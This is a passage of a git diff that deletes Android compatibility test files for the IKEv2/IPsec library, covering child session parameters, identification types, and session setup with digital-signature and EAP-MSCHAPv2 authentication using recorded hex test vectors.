-                        .addInboundTrafficSelectors(INBOUND_V6_TS)
-                        .addOutboundTrafficSelectors(OUTBOUND_V4_TS)
-                        .addOutboundTrafficSelectors(OUTBOUND_V6_TS)
-                        .build();
-
-        verifyTransportModeChildParamsWithCustomizedValues(childParams);
-    }
-
-    @Test
-    public void testBuildTunnelModeParamsWithCustomizedValues() {
-        TunnelModeChildSessionParams childParams =
-                new TunnelModeChildSessionParams.Builder()
-                        .addSaProposal(mSaProposal)
-                        .setLifetimeSeconds(HARD_LIFETIME_SECONDS, SOFT_LIFETIME_SECONDS)
-                        .addInboundTrafficSelectors(INBOUND_V4_TS)
-                        .addInboundTrafficSelectors(INBOUND_V6_TS)
-                        .addOutboundTrafficSelectors(OUTBOUND_V4_TS)
-                        .addOutboundTrafficSelectors(OUTBOUND_V6_TS)
-                        .build();
-
-        verifyTunnelModeChildParamsWithCustomizedValues(childParams);
-    }
-
-    @Test
-    public void testBuildChildSessionParamsWithConfigReq() {
-        TunnelModeChildSessionParams childParams =
-                new TunnelModeChildSessionParams.Builder()
-                        .addSaProposal(mSaProposal)
-                        .addInternalAddressRequest(AF_INET)
-                        .addInternalAddressRequest(AF_INET6)
-                        .addInternalAddressRequest(AF_INET6)
-                        .addInternalAddressRequest(IPV4_ADDRESS_REMOTE)
-                        .addInternalAddressRequest(IPV6_ADDRESS_REMOTE, IP6_PREFIX_LEN)
-                        .addInternalDnsServerRequest(AF_INET)
-                        .addInternalDnsServerRequest(AF_INET6)
-                        .addInternalDhcpServerRequest(AF_INET)
-                        .addInternalDhcpServerRequest(AF_INET)
-                        .build();
-
-        verifyTunnelModeChildParamsWithDefaultValues(childParams);
-
-        // Verify config request types and number of requests for each type
-        Map<Class<? extends TunnelModeChildConfigRequest>, Integer> expectedAttributeCounts =
-                new HashMap<>();
-        expectedAttributeCounts.put(ConfigRequestIpv4Address.class, 2);
-        expectedAttributeCounts.put(ConfigRequestIpv6Address.class, 3);
-        expectedAttributeCounts.put(ConfigRequestIpv4Netmask.class, 1);
-        expectedAttributeCounts.put(ConfigRequestIpv4DnsServer.class, 1);
-        expectedAttributeCounts.put(ConfigRequestIpv6DnsServer.class, 1);
-        expectedAttributeCounts.put(ConfigRequestIpv4DhcpServer.class, 2);
-        verifyConfigRequestTypes(expectedAttributeCounts, childParams.getConfigurationRequests());
-
-        // Verify specific IPv4 address request
-        Set<Inet4Address> expectedV4Addresses = new HashSet<>();
-        expectedV4Addresses.add(IPV4_ADDRESS_REMOTE);
-        verifySpecificV4AddrConfigReq(expectedV4Addresses, childParams);
-
-        // Verify specific IPv6 address request
-        Set<LinkAddress> expectedV6Addresses = new HashSet<>();
-        expectedV6Addresses.add(new LinkAddress(IPV6_ADDRESS_REMOTE, IP6_PREFIX_LEN));
-        verifySpecificV6AddrConfigReq(expectedV6Addresses, childParams);
-    }
-
-    protected void verifySpecificV4AddrConfigReq(
-            Set<Inet4Address> expectedAddresses, TunnelModeChildSessionParams childParams) {
-        for (TunnelModeChildConfigRequest req : childParams.getConfigurationRequests()) {
-            if (req instanceof ConfigRequestIpv4Address
-                    && ((ConfigRequestIpv4Address) req).getAddress() != null) {
-                Inet4Address address = ((ConfigRequestIpv4Address) req).getAddress();
-
-                // Fail if expectedAddresses does not contain this address
-                assertTrue(expectedAddresses.remove(address));
-            }
-        }
-
-        // Fail if any expected address is not found in result
-        assertTrue(expectedAddresses.isEmpty());
-    }
-
-    protected void verifySpecificV6AddrConfigReq(
-            Set<LinkAddress> expectedAddresses, TunnelModeChildSessionParams childParams) {
-        for (TunnelModeChildConfigRequest req : childParams.getConfigurationRequests()) {
-            if (req instanceof ConfigRequestIpv6Address
-                    && ((ConfigRequestIpv6Address) req).getAddress() != null) {
-                ConfigRequestIpv6Address ipv6AddrReq = (ConfigRequestIpv6Address) req;
-
-                // Fail if expectedAddresses does not contain this address
-                LinkAddress address =
-                        new LinkAddress(ipv6AddrReq.getAddress(), ipv6AddrReq.getPrefixLength());
-                assertTrue(expectedAddresses.remove(address));
-            }
-        }
-
-        // Fail if any expected address is not found in result
-        assertTrue(expectedAddresses.isEmpty());
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeIdentificationTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeIdentificationTest.java
deleted file mode 100644
index 40aca9d..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeIdentificationTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-
-import android.net.ipsec.ike.IkeDerAsn1DnIdentification;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeIpv4AddrIdentification;
-import android.net.ipsec.ike.IkeIpv6AddrIdentification;
-import android.net.ipsec.ike.IkeKeyIdIdentification;
-import android.net.ipsec.ike.IkeRfc822AddrIdentification;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import javax.security.auth.x500.X500Principal;
-
-@RunWith(AndroidJUnit4.class)
-public final class IkeIdentificationTest extends IkeTestBase {
-    @Test
-    public void testIkeDerAsn1DnIdentification() throws Exception {
-        X500Principal asn1Dn = new X500Principal(LOCAL_ASN1_DN_STRING);
-
-        IkeDerAsn1DnIdentification ikeId = new IkeDerAsn1DnIdentification(asn1Dn);
-        assertEquals(asn1Dn, ikeId.derAsn1Dn);
-    }
-
-    @Test
-    public void testIkeFqdnIdentification() throws Exception {
-        IkeFqdnIdentification ikeId = new IkeFqdnIdentification(LOCAL_HOSTNAME);
-        assertEquals(LOCAL_HOSTNAME, ikeId.fqdn);
-    }
-
-    @Test
-    public void testIkeIpv4AddrIdentification() throws Exception {
-        IkeIpv4AddrIdentification ikeId = new IkeIpv4AddrIdentification(IPV4_ADDRESS_LOCAL);
-        assertEquals(IPV4_ADDRESS_LOCAL, ikeId.ipv4Address);
-    }
-
-    @Test
-    public void testIkeIpv6AddrIdentification() throws Exception {
-        IkeIpv6AddrIdentification ikeId = new IkeIpv6AddrIdentification(IPV6_ADDRESS_LOCAL);
-        assertEquals(IPV6_ADDRESS_LOCAL, ikeId.ipv6Address);
-    }
-
-    @Test
-    public void testIkeKeyIdIdentification() throws Exception {
-        IkeKeyIdIdentification ikeId = new IkeKeyIdIdentification(LOCAL_KEY_ID);
-        assertArrayEquals(LOCAL_KEY_ID, ikeId.keyId);
-    }
-
-    @Test
-    public void testIkeRfc822AddrIdentification() throws Exception {
-        IkeRfc822AddrIdentification ikeId = new IkeRfc822AddrIdentification(LOCAL_RFC822_NAME);
-        assertEquals(LOCAL_RFC822_NAME, ikeId.rfc822Name);
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionDigitalSignatureTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionDigitalSignatureTest.java
deleted file mode 100644
index 402769f..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionDigitalSignatureTest.java
+++ /dev/null
@@ -1,211 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import android.net.InetAddresses;
-import android.net.LinkAddress;
-import android.net.ipsec.ike.IkeDerAsn1DnIdentification;
-import android.net.ipsec.ike.IkeSession;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.IkeTrafficSelector;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.internal.net.ipsec.ike.testutils.CertUtils;
-
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.security.cert.X509Certificate;
-import java.security.interfaces.RSAPrivateKey;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-import javax.security.auth.x500.X500Principal;
-
-/**
- * Explicitly test setting up transport mode Child SA so that devices do not have
- * FEATURE_IPSEC_TUNNELS will be test covered. Tunnel mode Child SA setup has been tested in
- * IkeSessionPskTest and authentication method is orthogonal to Child mode.
- */
-@RunWith(AndroidJUnit4.class)
-public class IkeSessionDigitalSignatureTest extends IkeSessionTestBase {
-    private static final int EXPECTED_AUTH_REQ_FRAG_COUNT = 3;
-
-    private static final String IKE_INIT_RESP =
-            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F21202220000000000000015022000030"
-                    + "0000002C010100040300000C0100000C800E0100030000080300000503000008"
-                    + "0200000400000008040000022800008800020000328451C8A976CE69E407966A"
-                    + "50D7320C4197A15A07267CE1B16BAFF9BDBBDEC1FDCDAAF7175ADF9AA8DB55DB"
-                    + "2D70C012D01D914C4EDEF6E8B226868EA1D01B2ED0C4C5C86E6BFE566010EC0C"
-                    + "33BA1C93666430B88BDA0470D82CC4F4416F49E3E361E3017C9F27811A66718B"
-                    + "389E1800915D776D59AA528A7E1D1B7815D35144290000249FE8FABE7F43D917"
-                    + "CE370DE2FD9C22BBC082951AC26C1BA26DE795470F2C25BC2900001C00004004"
-                    + "AE388EC86D6D1A470D44142D01AB2E85A7AC14182900001C0000400544A235A4"
-                    + "171C884286B170F48FFC181DB428D87D290000080000402E290000100000402F"
-                    + "00020003000400050000000800004014";
-    private static final String IKE_AUTH_RESP_FRAG_1 =
-            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F3520232000000001000004E0240004C4"
-                    + "00010002DF6750A2D1D5675006F9F6230BB886FFD20CFB973FD04963CFD7A528"
-                    + "560598C58CC44178B2FCBBBBB271387AC81A664B7E7F1055B912F8C686E287C9"
-                    + "D31684C66339151AB86DA3CF1DA664052FA97687634558A1E9E6B37E16A86BD1"
-                    + "68D76DA5E2E1E0B7E98EB662D80D542307015D2BF134EBBBE425D6954FE8C2C4"
-                    + "D31D16C16AA0521C3C481F873ECF25BB8B05AC6083775C1821CAAB1E35A3955D"
-                    + "85ACC599574142E1DD5B262D6E5365CBF6EBE92FFCC16BC29EC3239456F3B202"
-                    + "492551C0F6D752ADCCA56D506D50CC8809EF6BC56EAD005586F7168F76445FD3"
-                    + "1366CC62D32C0C19B28210B8F813F97CD6A447C3857EFD6EC483DDA8ACD9870E"
-                    + "5A21B9C66F0FA44496C0C3D05E8859A1A4CFC88155D0C411BABC13033DD41FA4"
-                    + "AF08CE7734A146687F374F95634D1F26843203CA1FFD05CA3EB150CEA02FBF14"
-                    + "712B7A1C9BC7616A086E7FCA059E7D64EFF98DB895B32F8F7002762AF7D12F23"
-                    + "31E9DD25174C4CE273E5392BBB48F50B7A3E0187181216265F6A4FC7B91BE0AB"
-                    + "C601A580149D4B07411AE99DDB1944B977E86ADC9746605C60A92B569EEFAFFC"
-                    + "3A888D187B75D8F13249689FC28EBCD62B5E03AF171F3A561F0DEA3B1A75F531"
-                    + "971157DCE1E7BC6E7789FF3E8156015BC9C521EFE48996B41471D33BF09864E4"
-                    + "2436E8D7EB6218CDE7716DA754A924B123A63E25585BF27F4AC043A0C4AECE38"
-                    + "BB59DD62F5C0EC657206A76CED1BD26262237DA1CA6815435992A825758DEBEC"
-                    + "DDF598A22B8242AC4E34E70704DBA7B7B73DC3E067C1C98764F8791F84C99156"
-                    + "947D1FFC875F36FCE24B89369C1B5BF1D4C999DCA28E72A528D0E0163C66C067"
-                    + "E71B5E0025C13DA93313942F9EDA230B3ADC254821A4CB1A5DC9D0C5F4DC4E8E"
-                    + "CE46B7B8C72D3C5923C9B30DF1EF7B4EDEDA8BD05C86CA0162AE1BF8F277878E"
-                    + "607401BAA8F06E3EA873FA4C137324C4E0699277CDF649FE7F0F01945EE25FA7"
-                    + "0E4A89737E58185B11B4CB52FD5B0497D3E3CD1CEE7B1FBB3E969DB6F4C324A1"
-                    + "32DC6A0EA21F41332435FD99140C286F8ABBBA926953ADBEED17D30AAD953909"
-                    + "1347EF6D87163D6B1FF32D8B11FFB2E69FAEE7FE913D3826FBA7F9D11E0E3C57"
-                    + "27625B37D213710B5DD8965DAEFD3F491E8C029E2BF361039949BADEC31D60AC"
-                    + "355F26EE41339C03CC9D9B01C3C7F288F0E9D6DFEE78231BDA9AC10FED135913"
-                    + "2836B1A17CE060742B7E5B738A7177CCD59F70337BA251409C377A0FA5333204"
-                    + "D8622BA8C06DE0BEF4F32B6D4D77BE9DE977445D8A2A08C5C38341CB7974FBFB"
-                    + "22C8F983A7D6CEF068DDB2281E6673453521C831C1826861005AE5F37649BC64"
-                    + "0A6360B23284861441A440F1C5AADE1AB53CA63DB17F4C314D493C4C44DE5F20"
-                    + "75E084D080F92791F30BDD88373D50AB5A07BC72B0E7FFFA593103964E55603E"
-                    + "F7FEB7CA0762A1A7B86B6CCAD88CD6CBC7C6935D21F5F06B2700588A2530E619"
-                    + "DA1648AC809F3DDF56ACE5951737568FFEC7E2AB1AA0AE01B03A7F5A29CE73C0"
-                    + "5D2801B17CAAD0121082E9952FAB16BA1C386336C62D4CF3A5019CF61609433E"
-                    + "1C083237D47C4CF575097F7BF9000EF6B6C497A44E6480154A35669AD276BF05"
-                    + "6CC730B4E5962B6AF96CC6D236AE85CEFDA6877173F72D2F614F6696D1F9DF07"
-                    + "E107758B0978F69BC9DBE0CCBF252C40A3FDF7CE9104D3344F7B73593CCD73E0";
-    private static final String IKE_AUTH_RESP_FRAG_2 =
-            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F3520232000000001000000F0000000D4"
-                    + "00020002155211EA41B37BC5F20568A6AE57038EEE208F94F9B444004F1EF391"
-                    + "2CABFCF857B9CD95FAAA9489ED10A3F5C93510820E22E23FC55ED8049E067D72"
-                    + "3645C00E1E08611916CE72D7F0A84123B63A8F3B9E78DBBE39967B7BB074AF4D"
-                    + "BF2178D991EDBDD01908A14A266D09236DB963B14AC33D894F0F83A580209EFD"
-                    + "61875BB56273AA336C22D6A4D890B93E0D42435667830CC32E4F608500E18569"
-                    + "3E6C1D88C0B5AE427333C86468E3474DAA4D1506AAB2A4021309A33DD759D0D0"
-                    + "A8C98BF7FBEA8109361A9F194D0FD756";
-    private static final String DELETE_IKE_RESP =
-            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F2E202520000000020000004C00000030"
-                    + "342842D8DA37C8EFB92ED37C4FBB23CBDC90445137D6A0AF489F9F03641DBA9D"
-                    + "02F6F59FD8A7A78C7261CEB8";
-
-    // Using IPv4 for transport mode Child SA. IPv6 is currently infeasible because the IKE server
-    // that generates the test vectors is running in an IPv4 only network.
-    private static final IkeTrafficSelector TRANSPORT_MODE_INBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("172.58.35.103"),
-                    InetAddresses.parseNumericAddress("172.58.35.103"));
-
-    // TODO(b/157510502): Add test for IKE Session setup with transport mode Child in IPv6 network
-
-    private static final String LOCAL_ID_ASN1_DN =
-            "CN=client.test.ike.android.net, O=Android, C=US";
-    private static final String REMOTE_ID_ASN1_DN =
-            "CN=server.test.ike.android.net, O=Android, C=US";
-
-    private static X509Certificate sServerCaCert;
-    private static X509Certificate sClientEndCert;
-    private static X509Certificate sClientIntermediateCaCertOne;
-    private static X509Certificate sClientIntermediateCaCertTwo;
-    private static RSAPrivateKey sClientPrivateKey;
-
-    @BeforeClass
-    public static void setUpCertsBeforeClass() throws Exception {
-        sServerCaCert = CertUtils.createCertFromPemFile("server-a-self-signed-ca.pem");
-        sClientEndCert = CertUtils.createCertFromPemFile("client-a-end-cert.pem");
-        sClientIntermediateCaCertOne =
-                CertUtils.createCertFromPemFile("client-a-intermediate-ca-one.pem");
-        sClientIntermediateCaCertTwo =
-                CertUtils.createCertFromPemFile("client-a-intermediate-ca-two.pem");
-        sClientPrivateKey = CertUtils.createRsaPrivateKeyFromKeyFile("client-a-private-key.key");
-    }
-
-    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
-        IkeSessionParams ikeParams =
-                new IkeSessionParams.Builder(sContext)
-                        .setNetwork(mTunNetwork)
-                        .setServerHostname(remoteAddress.getHostAddress())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
-                        .setLocalIdentification(
-                                new IkeDerAsn1DnIdentification(new X500Principal(LOCAL_ID_ASN1_DN)))
-                        .setRemoteIdentification(
-                                new IkeDerAsn1DnIdentification(
-                                        new X500Principal(REMOTE_ID_ASN1_DN)))
-                        .setAuthDigitalSignature(
-                                sServerCaCert,
-                                sClientEndCert,
-                                Arrays.asList(
-                                        sClientIntermediateCaCertOne, sClientIntermediateCaCertTwo),
-                                sClientPrivateKey)
-                        .build();
-
-        return new IkeSession(
-                sContext,
-                ikeParams,
-                buildTransportModeChildParamsWithTs(
-                        TRANSPORT_MODE_INBOUND_TS, TRANSPORT_MODE_OUTBOUND_TS),
-                mUserCbExecutor,
-                mIkeSessionCallback,
-                mFirstChildSessionCallback);
-    }
-
-    @Test
-    public void testIkeSessionSetupAndChildSessionSetupWithTransportMode() throws Exception {
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(
-                IKE_INIT_RESP,
-                EXPECTED_AUTH_REQ_FRAG_COUNT /* expectedReqPktCnt */,
-                true /* expectedAuthUseEncap */,
-                IKE_AUTH_RESP_FRAG_1,
-                IKE_AUTH_RESP_FRAG_2);
-
-        // IKE INIT and IKE AUTH takes two exchanges. Message ID starts from 2
-        int expectedMsgId = 2;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
-                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Close IKE Session
-        ikeSession.close();
-        performCloseIkeBlocking(expectedMsgId++, DELETE_IKE_RESP);
-        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionMschapV2Test.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionMschapV2Test.java
deleted file mode 100644
index a104996..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionMschapV2Test.java
+++ /dev/null
@@ -1,220 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import android.net.InetAddresses;
-import android.net.LinkAddress;
-import android.net.eap.EapSessionConfig;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeSession;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.IkeTrafficSelector;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.internal.net.ipsec.ike.testutils.CertUtils;
-
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.security.cert.X509Certificate;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-/**
- * Explicitly test setting up transport mode Child SA so that devices do not have
- * FEATURE_IPSEC_TUNNELS will be test covered. Tunnel mode Child SA setup has been tested in
- * IkeSessionPskTest and authentication method is orthogonal to Child mode.
- */
-@RunWith(AndroidJUnit4.class)
-public class IkeSessionMschapV2Test extends IkeSessionTestBase {
-    private static final String IKE_INIT_RESP =
-            "46B8ECA1E0D72A1873F643FF94D249A921202220000000000000015022000030"
-                    + "0000002C010100040300000C0100000C800E0080030000080300000203000008"
-                    + "0200000200000008040000022800008800020000CC6E71E67E32CED6BCE33FBD"
-                    + "A74113867E3FA3AE21C7C9AB44A7F8835DF602BFD6F6528B67FEE39821232380"
-                    + "C99E8FFC0A5D767F8F38906DA41946C2299DF18C15FA69BAC08D3EDB32E8C8CA"
-                    + "28431831561C04CB0CDE393F817151CD8DAF7A311838411F1C39BFDB5EBCF6A6"
-                    + "1DF66DEB067362649D64607D599B56C4227819D0290000241197004CF31AD00F"
-                    + "5E0C92E198488D8A2B6F6A25C82762AA49F565BCE9D857D72900001C00004004"
-                    + "A0D98FEABBFB92A6C0976EE83D2AACFCCF969A6B2900001C0000400575EBF73F"
-                    + "8EE5CC73917DE9D3F91FCD4A16A0444D290000080000402E290000100000402F"
-                    + "00020003000400050000000800004014";
-    private static final String IKE_AUTH_RESP_1_FRAG_1 =
-            "46B8ECA1E0D72A1873F643FF94D249A93520232000000001000004E0240004C4"
-                    + "00010002C4159CB756773B3F1911F4595107BC505D7A28C72F05182966076679"
-                    + "CA68ED92E4BC5CD441C9CB315F2F449A8A521CAFED3C5F285E295FC3791D3415"
-                    + "E3BACF66A08410DF4E35F7D88FE40DA28851C91C77A6549E186AC1B7846DF3FA"
-                    + "0A347A5ABBCAEE19E70F0EE5966DC6242A115F29523709302EDAD2E36C8F0395"
-                    + "CF5C42EC2D2898ECDD8A6AEDD686A70B589A981558667647F32F41E0D8913E94"
-                    + "A6693F53E59EA8938037F562CF1DC5E6E2CDC630B5FFB08949E3172249422F7D"
-                    + "EA069F9BAD5F96E48BADC7164A9269669AD0DF295A80C54D1D23CEA3F28AC485"
-                    + "86D2A9850DA23823037AB7D1577B7B2364C92C36B84238357129EB4A64D33310"
-                    + "B95DCD50CD53E78C32EFE7DC1627D9432E9BFDEE130045DE967B19F92A9D1270"
-                    + "F1E2C6BFBAA56802F3E63510578EF1ECB6872852F286EEC790AA1FE0CAF391CB"
-                    + "E276554922713BA4770CFE71E23F043DC620E22CC02A74F60725D18331B7F2C9"
-                    + "276EB6FBB7CBDAA040046D7ECBE1A5D7064E04E542807C5101B941D1C81B9D5E"
-                    + "90347B22BD4E638E2EDC98E369B51AA29BDB2CF8AA610D4B893EB83A4650717C"
-                    + "38B4D145EE939C18DCEDF6C79933CEB3D7C116B1F188DF9DDD560951B54E4A7D"
-                    + "80C999A32AB02BF39D7B498DAD36F1A5CBE2F64557D6401AE9DD6E0CEADA3F90"
-                    + "540FE9114BB6B8719C9064796354F4A180A6600CAD092F8302564E409B71ACB7"
-                    + "590F19B3AC88E7A606C718D0B97F7E4B4830F11D851C59F2255846DA22E2C805"
-                    + "0CA2AF2ACF3B6C769D11B75B5AC9AB82ED3D90014994B1BF6FED58FBEF2D72EF"
-                    + "8BDFE51F9A101393A7CA1ACF78FAEBF3E3CC25E09407D1E14AF351A159A13EE3"
-                    + "9B919BA8B49942792E7527C2FB6D418C4DF427669A4BF5A1AFBBB973BAF17918"
-                    + "9C9D520CAC2283B89A539ECE785EBE48FBB77D880A17D55C84A51F46068A4B87"
-                    + "FF48FEEE50E1E034CC8AFF5DA92105F55EC4823E67BDFE942CA8BE0DAECBBD52"
-                    + "E8AAF306049DC6C4CF87D987B0AC54FCE92E6AE8507965AAAC6AB8BD3405712F"
-                    + "EE170B70BC64BDCBD86D80C7AAAF341131F9A1210D7430B17218413AE1363183"
-                    + "5C98FA2428B1E9E987ADC9070E232310A28F4C3163E18366FFB112BADD7C5E0F"
-                    + "D13093A7C1428F87856BA0A7E46955589ACA267CE7A04320C4BCDBB60C672404"
-                    + "778F8D511AAB09349DAB482445D7F606F28E7FBBB18FC0F4EC0AF04F44C282F9"
-                    + "39C6E3B955C84DADEA350667236583069B74F492D600127636FA31F63E560851"
-                    + "2FC28B8EA5B4D01D110990B6EA46B9C2E7C7C856C240EF7A8147BA2C4344B85A"
-                    + "453C862024B5B6814D13CDEAEF7683D539BB50CAFFC0416F269F2F9EDEC5FA30"
-                    + "022FD7B4B186CD2020E7ED8D81ED90822EDD8B76F840DD68F09694CFF9B4F33E"
-                    + "11DF4E601A4212881A6D4E9259001705C41E9E23D18A7F3D4A3463649A38211A"
-                    + "5A90D0F17739A677C74E23F31C01D60B5A0F1E6A4D44FED9D25BF1E63418E1FC"
-                    + "0B19F6F4B71DE53C62B14B82279538A82DD4BE19AB6E00AFC20F124AAB7DF21A"
-                    + "42259BE4F40EC69B16917256F23E2C37376311D62E0A3A0EF8C2AD0C090221D5"
-                    + "C5ECA08F08178A4D31FFDB150C609827D18AD83C7B0A43AEE0406BD3FB494B53"
-                    + "A279FDD6447E234C926AD8CE47FFF779BB45B1FC8457C6E7D257D1359959D977"
-                    + "CEF6906A3367DC4D454993EFDC6F1EA94E17EB3DCB00A289346B4CFD7F19B16E";
-    private static final String IKE_AUTH_RESP_1_FRAG_2 =
-            "46B8ECA1E0D72A1873F643FF94D249A935202320000000010000008000000064"
-                    + "00020002C61F66025E821A5E69A4DE1F591A2C32C983C3154A5003660137D685"
-                    + "A5262B9FDF5EDC699DE4D8BD38F549E3CBD12024B45B4C86561C36C3EED839DA"
-                    + "9860C6AA0B764C662D08F1B6A98F68CF6E3038F737C0B415AD8A8B7D702BD92A";
-    private static final String IKE_AUTH_RESP_2 =
-            "46B8ECA1E0D72A1873F643FF94D249A92E202320000000020000008C30000070"
-                    + "62B90C2229FD23025BC2FD7FE6341E9EE04B17264CD619BCE18975A5F88BE438"
-                    + "D4AD4A5310057255AF568C293A29B10107E3EE3675C10AA2B26404D90C0528CC"
-                    + "F7605A86C96A1F2635CCC6CFC90EE65E5C2A2262EB33FE520EB708423A83CB63"
-                    + "274ECCBB102AF5DF35742657";
-    private static final String IKE_AUTH_RESP_3 =
-            "46B8ECA1E0D72A1873F643FF94D249A92E202320000000030000004C30000030"
-                    + "AB52C3C80123D3432C05AF457CE93C352395F73E861CD49561BA528CFE68D17D"
-                    + "78BBF6FC41E81C2B9EA051A2";
-    private static final String IKE_AUTH_RESP_4 =
-            "46B8ECA1E0D72A1873F643FF94D249A92E20232000000004000000CC270000B0"
-                    + "8D3342A7AB2666AC754F4B55C5C6B1A61255E62FBCA53D5CDEEDE60DADB7915C"
-                    + "7F962076A58BF7D39A05ED1B60FF349B6DE311AF7CEBC72B4BB9723A728A5D3E"
-                    + "9E508B2D7A11843D279B56ADA07E608D61F5CA7638F10372A440AD1DCE44E190"
-                    + "7B7B7A68B126EBBB86638D667D5B528D233BA8D32D7E0FAC4E1448E87396EEE6"
-                    + "0985B79841E1229D7962AACFD8F872722EC8D5B19D4C82D6C4ADCB276127A1A7"
-                    + "3FC84CDF85B2299BC96B64AC";
-    private static final String DELETE_IKE_RESP =
-            "46B8ECA1E0D72A1873F643FF94D249A92E202520000000050000004C00000030"
-                    + "622CE06C8CB132AA00567E9BC83F58B32BD7DB5130C76E385B306434DA227361"
-                    + "D50CC19D408A8D4F36F9697F";
-
-    // This value is align with the test vectors hex that are generated in an IPv4 environment
-    private static final IkeTrafficSelector TRANSPORT_MODE_INBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("172.58.35.67"),
-                    InetAddresses.parseNumericAddress("172.58.35.67"));
-
-    private static final EapSessionConfig EAP_CONFIG =
-            new EapSessionConfig.Builder()
-                    .setEapIdentity(EAP_IDENTITY)
-                    .setEapMsChapV2Config(EAP_MSCHAPV2_USERNAME, EAP_MSCHAPV2_PASSWORD)
-                    .build();
-
-    private static X509Certificate sServerCaCert;
-
-    @BeforeClass
-    public static void setUpCertBeforeClass() throws Exception {
-        sServerCaCert = CertUtils.createCertFromPemFile("server-a-self-signed-ca.pem");
-    }
-
-    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
-        IkeSessionParams ikeParams =
-                new IkeSessionParams.Builder(sContext)
-                        .setNetwork(mTunNetwork)
-                        .setServerHostname(remoteAddress.getHostAddress())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
-                        .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
-                        .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
-                        .setAuthEap(sServerCaCert, EAP_CONFIG)
-                        .build();
-        return new IkeSession(
-                sContext,
-                ikeParams,
-                buildTransportModeChildParamsWithTs(
